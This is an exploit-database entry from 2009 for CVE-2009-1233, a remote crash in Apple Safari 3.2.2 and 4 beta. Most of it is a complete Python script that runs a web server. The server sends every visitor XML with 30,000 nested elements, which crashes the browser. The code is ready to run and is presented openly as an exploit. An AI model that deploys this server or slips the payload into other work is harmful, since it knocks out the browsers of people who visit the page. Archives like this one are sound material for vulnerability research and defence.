Lucene search
+L

Apple Safari 3.2.2/4b - nested elements XML Parsing Remote Crash

🗓️ 31 Mar 2009 00:00:00Reported by Ahmed ObiedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Apple Safari XML Parsing Remote Cras

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-1233
31 Mar 200900:00
circl
cve
CVE
CVE-2009-1233
2 Apr 200917:00
cve
cvelist
Cvelist
CVE-2009-1233
2 Apr 200917:00
cvelist
euvd
EUVD
EUVD-2009-1232
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-1233
2 Apr 200917:30
nvd
openvas
OpenVAS
Apple Safari Denial of Service Vulnerability (Apr 2009) - Windows
7 Apr 200900:00
openvas
openvas
OpenVAS
Apple Safari Denial of Service Vulnerability (Windows) - Apr09
7 Apr 200900:00
openvas
prion
Prion
Code injection
2 Apr 200917:30
prion
#
#   Author : Ahmed Obied ([email protected])
#
#   - Tested using:
#     -> Safari 3.2.2 on Windows
#     -> Safari 4 (BETA) on Windows
#
#   Usage  : python safari.py [port]
#

import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):

    def get_exploit(self):
        exploit = '<?xml version="1.0"?>'
        exploit += '<A>' * 30000 + '</A>' * 30000
        return exploit

    def log_request(self, *args, **kwargs):
        pass

    def do_GET(self):
        if self.path == '/':
            print
            print '[-] Incoming connection from %s' % self.client_address[0]
            print '[-] Sending header to %s ...' % self.client_address[0]
            self.send_response(200)
            self.send_header('Content-type', 'text/xml')
            self.end_headers()
            print '[-] Header sent to %s' % self.client_address[0]
            print '[-] Sending exploit to %s ...' % self.client_address[0]
            self.wfile.write(self.get_exploit())
            print '[-] Exploit sent to %s' % self.client_address[0]

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port]' % sys.argv[0]
        sys.exit(1)
    try:
        port = int(sys.argv[1])
        if port < 1 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer(('', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)
            try:
                serv.serve_forever()
            except KeyboardInterrupt:
                print '[-] Exiting ...'
        except socket.error:
            print '[*] ERROR: a socket error has occurred ...'
        sys.exit(-1)
    except ValueError:
        print '[*] ERROR: invalid port number ...'
        sys.exit(-1)

if __name__ == '__main__':
    main()

# milw0rm.com [2009-03-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Mar 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.04446
37